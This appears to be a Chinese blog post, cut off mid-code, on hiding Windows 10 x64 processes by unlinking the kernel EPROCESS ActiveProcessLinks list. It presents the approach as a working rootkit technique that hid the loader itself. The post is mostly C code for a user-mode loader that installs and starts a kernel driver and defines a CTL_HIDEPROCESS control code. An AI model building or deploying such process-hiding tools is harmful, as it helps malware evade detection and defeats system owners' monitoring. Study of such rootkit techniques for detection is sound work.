Win10 EPROCESS 断链

介绍

参考了 https://github.com/landhb/HideProcess/
动态获取 ActiveProcessLinksOffset ，可兼容不同版本的win10 x64系统。

运行结果

隐藏加载器自身

隐藏成功

驱动加载

#include <windows.h>  
#include <winsvc.h>  
#include <conio.h>  
#include <stdio.h>
#include <winioctl.h>

#define DRIVER_NAME L"HideProcess"
#define DRIVER_PATH L"HideProcess.sys"
#define LINK_NAME "\\\\.\\HideProcessLnk"

#define IOCTRL_BASE 0x800

#define MYIOCTRL_CODE(i) \
	CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE+i, METHOD_BUFFERED,FILE_ANY_ACCESS)

#define CTL_HIDEPROCESS MYIOCTRL_CODE(0)

// 加载驱动
BOOL LoadDriver(PCWSTR lpszDriverName, PCWSTR lpszDriverPath)
{
   
	// 获取驱动完整路径
	WCHAR szDriverFullPath[MAX_PATH] = {
    0 };
	GetFullPathNameW(lpszDriverPath, MAX_PATH, szDriverFullPath, NULL);
	//printf("%s\n", szDriverFullPath);
	// 打开服务控制管理器
	SC_HANDLE hServiceMgr = NULL; // SCM管理器句柄	
	hServiceMgr = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (NULL == hServiceMgr)
	{
   
		printf("OpenSCManagerW failed, %d\n", GetLastError());
		return FALSE;
	}
	//printf("打开服务控制管理器成功.\n");
	// 创建驱动服务
	SC_HANDLE hServiceDDK = NULL; // NT驱动程序服务句柄
	hServiceDDK = CreateServiceW(
		hServiceMgr,
		lpszDriverName,
		lpszDriverName,
		SERVICE_ALL_ACCESS,
		SERVICE_KERNEL_DRIVER,
		SERVICE_DEMAND_START,
		SERVICE_ERROR_IGNORE,
		szDriverFullPath,
		NULL,
		NULL,
		NULL,
		NULL,
		NULL);
	if (NULL == hServiceDDK)
	{
   
		DWORD dwErr = GetLastError();
		if (dwErr != ERROR_IO_PENDING && dwErr != ERROR_SERVICE_EXISTS)
		{
   
			printf("CreateService failed, %d\n", dwErr);
			return FALSE;
		}
	}
	//printf("创建驱动服务成功.\n");
	// 驱动服务已经创建，打开服务
	hServiceDDK = OpenServiceW(hServiceMgr, lpszDriverName, SERVICE_ALL_ACCESS);
	if (!StartService(hServiceDDK, NULL, NULL))
	{
   
		DWORD dwErr = GetLastError();
		if (dwErr != ERROR_SERVICE_ALREADY_RUNNING)
		{
   
			printf("OpenService failed, %d\n", dwErr);
			return FALSE;
		}
	}
	//printf("运行驱动服务成功.\n");
	if (hServiceDDK)
	{
   
		CloseServiceHandle(hServiceDDK);
	}
	if (hServiceMgr)
	{
   
		CloseServiceHandle<